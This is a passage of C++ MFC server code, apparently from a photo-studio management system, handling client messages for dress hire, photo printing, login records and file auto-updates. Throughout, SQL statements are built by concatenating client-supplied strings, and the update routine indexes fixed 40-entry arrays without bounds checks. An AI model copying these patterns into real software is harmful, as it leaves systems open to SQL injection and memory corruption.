(storeinfoarray2.ElementAt(bb).ElementAt(0) == lb && storeinfoarray2.ElementAt(bb).ElementAt(1) == name) { bExist = 1; //AfxMessageBox("存在"); break; } } if (bExist)continue; CString date = CTime::GetCurrentTime().Format("%Y-%m-%d"); sql = "insert into storeinfo2([id],[type],[name],[count],[date],[clerk])values('" + id + "','" + lb + "','" + name + "','" + count + "','" + date + "','系统')"; MyExecuteSQL(sql); } } ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 10) // data3字段; { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); if (rsSt.IsEOF()) rsSt.AddNew(); else rsSt.Edit(); rsSt.data3.m_dwDataLength = nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR, nMessageLen); rsSt.data3.m_hData = GlobalLock(hGlobal); memcpy(rsSt.data3.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data3); rsSt.SetFieldNull(&rsSt.data3, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 11) // data4字段; { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); if (rsSt.IsEOF()) rsSt.AddNew(); else rsSt.Edit(); rsSt.data4.m_dwDataLength = nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR, nMessageLen); rsSt.data4.m_hData = GlobalLock(hGlobal); memcpy(rsSt.data4.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data4); rsSt.SetFieldNull(&rsSt.data4, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 12) // data5字段; { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); if (rsSt.IsEOF()) rsSt.AddNew(); else rsSt.Edit(); rsSt.data5.m_dwDataLength = nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR, nMessageLen); rsSt.data5.m_hData = GlobalLock(hGlobal); memcpy(rsSt.data5.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data5); rsSt.SetFieldNull(&rsSt.data5, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 13) // Jeff.处理相片冲印的保存结果 { ENCODE_START { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (int ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; sql = "delete from photoprint where id='" + g_List1array.ElementAt(0).ElementAt(0) + "' "; MyExecuteSQL(sql); if (g_List1array.ElementAt(0).GetSize() > 1) { for (ii = 0; ii < g_List1array.GetSize(); ii++) { #if 0 // 旧代码,没有返工及返工日期; sql.Format ("insert into photoprint([id],[name],[count],[area],[status1],[time1],[status2],[time2])values('%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7)); #else sql.Format("insert into photoprint([id],[name],[count],[area],[status1],[time1],[statusOfReWork],[timeOfReWork],[status2],[time2])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(1), g_List1array.ElementAt(ii).ElementAt(2), g_List1array.ElementAt(ii).ElementAt(3), g_List1array.ElementAt(ii).ElementAt(4), g_List1array.ElementAt(ii).ElementAt(5), g_List1array.ElementAt(ii).ElementAt(6), g_List1array.ElementAt(ii).ElementAt(7), g_List1array.ElementAt(ii).ElementAt(8), g_List1array.ElementAt(ii).ElementAt(9)); //WriteTextLog(sql); #endif MyExecuteSQL(sql); } } } ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 14)//read BK { CArraydataarray; BYTE *szChatMessage = ptChatMessage->byFileContent; { CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); dataarray.Serialize(ar); ar.Close(); memfile.Detach(); } DWORD leng1, leng2; leng1 = dataarray.ElementAt(0); leng2 = dataarray.ElementAt(1); DeCodePicCount((int&)leng1, (int&)leng2); dataarray.SetAt(0, leng1); dataarray.SetAt(1, leng2); { CMemFile memfile; CArchive ar(&memfile, CArchive::store); dataarray.Serialize(ar); ar.Close(); int length = memfile.GetLength(); BYTE *pData = memfile.Detach(); BYTE *szDataBuf = pData; int nDataLen = length; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } } // else if(dwToUserID==15)15禁止使用,被用于信息服务器 else if (dwToUserID == 16) // data6字段; { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); if (rsSt.IsEOF()) rsSt.AddNew(); else rsSt.Edit(); rsSt.data6.m_dwDataLength = nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR, nMessageLen); rsSt.data6.m_hData = GlobalLock(hGlobal); memcpy(rsSt.data6.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data6); rsSt.SetFieldNull(&rsSt.data6, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 17) // data7字段; { CODEREPLACE_START CRstUpdate rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); if (rsSt.IsEOF()) rsSt.AddNew(); else rsSt.Edit(); rsSt.data7.m_dwDataLength = nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR, nMessageLen); rsSt.data7.m_hData = GlobalLock(hGlobal); memcpy(rsSt.data7.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data7); rsSt.SetFieldNull(&rsSt.data7, FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); CODEREPLACE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 18) { CODEREPLACE_START { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize(ar); ar.Close(); memfile.Detach(); CString sql, sql2; CString id = m_seldressarray.ElementAt(0); for (int i = 0; i < m_seldressarray.GetSize(); i += 5) { sql.Format("update [dresshiredata] set [isreturn]='%s',[clerk]='%s',[returndate]='%s' where [id]='%s' and [no]='%s' ", m_seldressarray.ElementAt(i + 2), m_seldressarray.ElementAt(i + 3), m_seldressarray.ElementAt(i + 4), id, m_seldressarray.ElementAt(i + 1)); MyExecuteSQL(sql); UpdateDressBalance(m_seldressarray.ElementAt(i + 1)); } } CODEREPLACE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 19) { CODEREPLACE_START { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize(ar); ar.Close(); memfile.Detach(); CString sql; CString id = m_seldressarray.ElementAt(0); CRecordset myset(m_pConndb); sql = "select [no] from [dresshiredata] where [id]='" + id + "'"; myset.Open(CRecordset::forwardOnly, sql); CStringArray noarray; while (!myset.IsEOF()) { myset.GetFieldValue("no", sql); if (FindArray(&noarray, sql) == -1) noarray.Add(sql); myset.MoveNext(); } myset.Close(); sql = "delete from [dresshire] where [id]='" + id + "'"; MyExecuteSQL(sql); sql = "delete from [dresshiredata] where [id]='" + id + "'"; MyExecuteSQL(sql); sql = "delete from [client] where [id]='" + id + "'"; MyExecuteSQL(sql); for (int i = 0; i < noarray.GetSize(); i++) UpdateDressBalance(noarray.ElementAt(i)); } CODEREPLACE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 20) { ENCODE_START { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize(ar); ar.Close(); memfile.Detach(); CString sql, sql2; CString id = m_seldressarray.ElementAt(3); CRecordset myset(m_pConndb); sql = "select [no] from [dresshiredata] where [id]='" + id + "'"; myset.Open(CRecordset::forwardOnly, sql); CStringArray noarray; while (!myset.IsEOF()) { myset.GetFieldValue("no", sql); if (FindArray(&noarray, sql) == -1) noarray.Add(sql); myset.MoveNext(); } myset.Close(); sql2 = "delete from [dresshiredata] where [id]='" + id + "' and [no]"; int count = atoi(m_seldressarray.ElementAt(m_seldressarray.GetSize() - 3)); CString date1 = m_seldressarray.ElementAt(m_seldressarray.GetSize() - 2); CString date2 = m_seldressarray.ElementAt(m_seldressarray.GetSize() - 1); int i = 0; for (/*int*/ i = 0; i < count; i += 6) { //if(m_seldressarray.ElementAt (i+4).IsEmpty ()) { if (FindArray(&noarray, m_seldressarray.ElementAt(i)) != -1) sql.Format("update [dresshiredata] set [date1]='%s',[date2]='%s' where [id]='%s' and [no]='%s'", date1, date2, id, m_seldressarray.ElementAt(i)); else sql.Format("insert into [dresshiredata]([id],[no],[name],[count],[hireorsale],[isreturn],[date1],[date2])values('%s','%s','%s','%s','%s','未还','%s','%s')", id, m_seldressarray.ElementAt(i), m_seldressarray.ElementAt(i + 1), m_seldressarray.ElementAt(i + 2), m_seldressarray.ElementAt(i + 5), date1, date2); MyExecuteSQL(sql); sql2 += " <>'" + m_seldressarray.ElementAt(i) + "' and [no]"; } } sql2.TrimRight(" and [no]"); MyExecuteSQL(sql2); for (i = count; i < m_seldressarray.GetSize() - 3; i++) { UpdateDressBalance(m_seldressarray.ElementAt(i)); } } ENCODE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 211)//升级,新版,先对比文件名 { // Jeff.array是客户端的;g_filedatearraynew是服务端的; CStringArray array; BYTE *szChatMessage = ptChatMessage->byFileContent; { CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); array.Serialize(ar); ar.Close(); memfile.Detach(); } BYTE *pData[40] = { NULL }; DWORD nDataLeng[40] = { 0 }; BYTE *pSumData = NULL; DWORD sumleng = 0; // Jeff.filedatearray将要更新到客户端的文件; CStringArray filedatearray; int halfsize = array.GetSize() / 2; // Jeff:前一半为文件名,后一半为文件对应大小; int halfsize2 = g_filedatearraynew.GetSize() / 2; // Jeff,同上; int i = 0; for (/*int*/ i = 0; i < halfsize; i++) { for (int j = 0; j < halfsize2; j++) { //if(array.ElementAt (i).Find("5.lia")!=-1) //AfxMessageBox(g_filedatearraynew.ElementAt (j)); // Jeff.前一半名称比较; if (array.ElementAt(i) == g_filedatearraynew.ElementAt(j))//找到文件; { // Jeff.后一半大小比较; if (array.ElementAt(i + halfsize) != g_filedatearraynew.ElementAt(j + halfsize2) && atoi(g_filedatearraynew.ElementAt(j + halfsize2)) != 0)//大小不等,则更新 { #if 1 // Jeff.原文; // Jeff.为何更新的文件数大于5,剩余的就不更新??? if (filedatearray.GetSize()>5) break; filedatearray.Add("");//Jeff.空的?故意留的陷阱? 以面filedatearray.Serialize(ar)完全没意义; #else filedatearray.Add(g_filedatearraynew.ElementAt(j));//Jeff.add; #endif // Jeff.将每一个要更新的文件写入到pData里; CFile fp; fp.Open(g_mainpath + "\\系统文件\\" + array.ElementAt(i), CFile::modeRead); nDataLeng[i] = fp.GetLength(); pData[i] = new BYTE[nDataLeng[i]]; fp.Read(pData[i], nDataLeng[i]); fp.Close(); sumleng += nDataLeng[i]; } break; } } } CMemFile memfile; CArchive ar(&memfile, CArchive::store); filedatearray.Serialize(ar); // Jeff.若按原Add("");序列化的结果都是空的; ar.Close(); // Jeff.将欲更新的文件名写入pSumData中; DWORD nArrayLength = memfile.GetLength(); BYTE *pArrayData = memfile.Detach(); pSumData = new BYTE[sizeof(DWORD) * 40 + sumleng + nArrayLength + sizeof(DWORD)]; memcpy(pSumData, &nArrayLength, sizeof(DWORD)); memcpy(pSumData + sizeof(DWORD), pArrayData, nArrayLength); delete[]pArrayData; // Jeff.再将保存到pData里的文件数据写入pSumData中,发送给客户端; DWORD bytesread = 0; for (i = 0; i < 40; i++) // Jeff.魔数40 为pData数组个数. { memcpy(pSumData + sizeof(DWORD)*i + nArrayLength + sizeof(DWORD), &(nDataLeng[i]), sizeof(DWORD)); if (nDataLeng[i]) { memcpy(pSumData + sizeof(DWORD) * 40 + bytesread + nArrayLength + sizeof(DWORD), pData[i], nDataLeng[i]); bytesread += nDataLeng[i]; delete[](pData[i]); } } DWORD nDataLen = sizeof(DWORD) * 40 + sumleng + nArrayLength + sizeof(DWORD); g_sendhead.tabcount = ptChatMessage->tabcount; DWORD bytesRead = 0; // DWORD maxdataleng=1000*1024*1024;//1M // maxdataleng=100*1024*1024;//1M // while(nDataLen-bytesRead) { // DWORD curleng=min(nDataLen-bytesRead, maxdataleng); dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nDataLen;//curleng; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)(pSendData + MESSAGE_HEADER_LEN); memset(pSendData, 0x00, dwDataLen); memcpy(pSendData + MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = 8888; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen;//curleng; memcpy(pChatMessage->byFileContent, pSumData + bytesRead, nDataLen);//curleng); // bytesRead+=curleng; FillHeader(pSendData, wMessageId, dwDataLen - MESSAGE_HEADER_LEN); net_Send2((void *)pSendData, dwDataLen); delete[] pSendData; } delete[]pSumData; return; } else if (dwToUserID == 21)//升级 { CStringArray array; BYTE *szChatMessage = ptChatMessage->byFileContent; { CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); array.Serialize(ar); ar.Close(); memfile.Detach(); } BYTE *pData[40] = { NULL }; DWORD nDataLeng[40] = { 0 }; BYTE *pSumData = NULL; DWORD sumleng = 0; CStringArray filesarray; filesarray.Add("AutoUpdate.exe"); filesarray.Add("skin\\1.lia"); filesarray.Add("skin\\2.lia"); filesarray.Add("skin\\3.lia"); filesarray.Add("skin\\4.lia"); filesarray.Add("skin\\10.lia"); filesarray.Add("skin\\logo.jpg"); filesarray.Add("skin\\标题-选片.jpg"); filesarray.Add("skin\\标题-看设计.jpg"); filesarray.Add("图片\\欢迎.jpg"); filesarray.Add("图片\\连接.jpg"); filesarray.Add("图片\\标题.jpg"); filesarray.Add("图片\\背景.jpg"); filesarray.Add("图片-红色风格\\欢迎.jpg"); filesarray.Add("图片-红色风格\\连接.jpg"); filesarray.Add("图片-红色风格\\标题.jpg"); filesarray.Add("图片-红色风格\\背景.jpg"); filesarray.Add("图片-红色风格\\选片.jpg"); filesarray.Add("图片-红色风格\\看设计.jpg"); filesarray.Add("skin\\1-red.lia"); filesarray.Add("skin\\2-red.lia"); filesarray.Add("skin\\10-red.lia"); filesarray.Add("skin\\6.lia"); filesarray.Add("图片\\掌中宝.jpg"); filesarray.Add("图片\\掌中宝.jpg"); filesarray.Add("regsvr32.exe"); CStringArray filedatearray; int i = 0; for (/*int*/ i = 0; i < filesarray.GetSize(); i++) { if (!g_filedatearray.ElementAt(i).IsEmpty()) { if (array.ElementAt(i) != g_filedatearray.ElementAt(i)) { filedatearray.Add(g_filedatearray.ElementAt(i)); CFile fp; fp.Open(g_mainpath + "\\系统文件\\" + filesarray.ElementAt(i), CFile::modeRead); nDataLeng[i] = fp.GetLength(); pData[i] = new BYTE[nDataLeng[i]]; fp.Read(pData[i], nDataLeng[i]); fp.Close(); sumleng += nDataLeng[i]; } } } CMemFile memfile; CArchive ar(&memfile, CArchive::store); filedatearray.Serialize(ar); ar.Close(); DWORD nArrayLength = memfile.GetLength(); BYTE *pArrayData = memfile.Detach(); pSumData = new BYTE[sizeof(DWORD) * 40 + sumleng + nArrayLength + sizeof(DWORD)]; memcpy(pSumData, &nArrayLength, sizeof(DWORD)); memcpy(pSumData + sizeof(DWORD), pArrayData, nArrayLength); delete[]pArrayData; DWORD bytesread = 0; for (i = 0; i < 40; i++) { memcpy(pSumData + sizeof(DWORD)*i + nArrayLength + sizeof(DWORD), &(nDataLeng[i]), sizeof(DWORD)); if (nDataLeng[i]) { memcpy(pSumData + sizeof(DWORD) * 40 + bytesread + nArrayLength + sizeof(DWORD), pData[i], nDataLeng[i]); bytesread += nDataLeng[i]; delete[](pData[i]); } } DWORD nDataLen = sizeof(DWORD) * 40 + sumleng + nArrayLength + sizeof(DWORD); g_sendhead.tabcount = ptChatMessage->tabcount; //DWORD bytesRead=0; // DWORD maxdataleng=1000*1024*1024;//1M // while(nDataLen-bytesRead) { // DWORD curleng=min(nDataLen-bytesRead, maxdataleng); dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nDataLen;//curleng; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)(pSendData + MESSAGE_HEADER_LEN); memset(pSendData, 0x00, dwDataLen); memcpy(pSendData + MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = 8888; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen;//curleng; // memcpy(pChatMessage->byFileContent, pSumData+bytesRead, nDataLen);//curleng); memcpy(pChatMessage->byFileContent, pSumData + 0, nDataLen);//curleng); // bytesRead+=curleng; FillHeader(pSendData, wMessageId, dwDataLen - MESSAGE_HEADER_LEN); net_Send2((void *)pSendData, dwDataLen); delete[] pSendData; } delete[]pSumData; return; } else if (dwToUserID == 22 && g_bLogindataprocess == 0) { g_bLogindataprocess = 1; { CStringArray logindataarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); logindataarray.Serialize(ar); ar.Close(); memfile.Detach(); CString sql; /*CString lastdate=logindataarray.ElementAt (logindataarray.GetSize ()-1); CString firstdate=logindataarray.ElementAt (1); CString count1,count2; CRecordset myset(m_pConndb); sql="select count(*) as cot from lonindata where datetime='"+lastdate+"' "; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", count1); myset.Close(); sql="select count(*) as cot from lonindata where datetime='"+firstdate+"' "; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", count2); myset.Close();*/ CStringArray array1, array2; CRstLoninData rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.Open(); while (!rsSt.IsEOF()) { array1.Add(rsSt.no); array2.Add(rsSt.datetime); rsSt.MoveNext(); } rsSt.Close(); if (1)//0==atol(count1) || 0==atol(count2)) { // if(logindataarray.GetSize ()) // WriteTextLog("指纹数据传输中"); for (int i = 0; i < logindataarray.GetSize(); i += 2) { if (g_pMainWnd->m_bTerminate)break; BOOL bFind = 0; for (int j = 0; j < array1.GetSize(); j++) { if (array1.ElementAt(j) == logindataarray.ElementAt(i) && array2.ElementAt(j) == logindataarray.ElementAt(i + 1)) { bFind = 1; break; } } if (bFind)continue; /* { CRecordset myset(m_pConndb); sql="select count(*) as cot from lonindata where no='"+logindataarray.ElementAt (i)+"' and datetime='"+logindataarray.ElementAt (i+1)+"' "; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); }*/ if (1)//atoi(sql)==0) { sql.Format("insert into lonindata([no],[datetime])values('%s','%s')", logindataarray.ElementAt(i), logindataarray.ElementAt(i + 1)); MyExecuteSQL(sql); } ::Sleep(10);//Jeff.Sleep会造成很大的问题,如主线程停止工作,那此时非线程的SetTimer将不工作; } // if(logindataarray.GetSize ())WriteTextLog("指纹数据传输完毕"); } g_bLogindataprocess = 0; } BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 23) { CODEREPLACE_START { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize(ar); ar.Close(); memfile.Detach(); CString sql; CString id = m_seldressarray.ElementAt(0); sql = "delete from [loninbanset] where [weekname]='" + id + "'"; MyExecuteSQL(sql); for (int i = 1; i < m_seldressarray.GetSize(); i += 8) { sql = "insert into loninbanset(weekname,name,banname1,banname2,banname3,banname4,banname5,banname6,banname7)values('" + id + "','" + m_seldressarray.ElementAt(i + 0) + "','" + m_seldressarray.ElementAt(i + 1) + "','" + m_seldressarray.ElementAt(i + 2) + "','" + m_seldressarray.ElementAt(i + 3) + "','" + m_seldressarray.ElementAt(i + 4) + "','" + m_seldressarray.ElementAt(i + 5) + "','" + m_seldressarray.ElementAt(i + 6) + "','" + m_seldressarray.ElementAt(i + 7) + "')"; MyExecuteSQL(sql); } } CODEREPLACE_END BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 24) {// 选设计; { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; 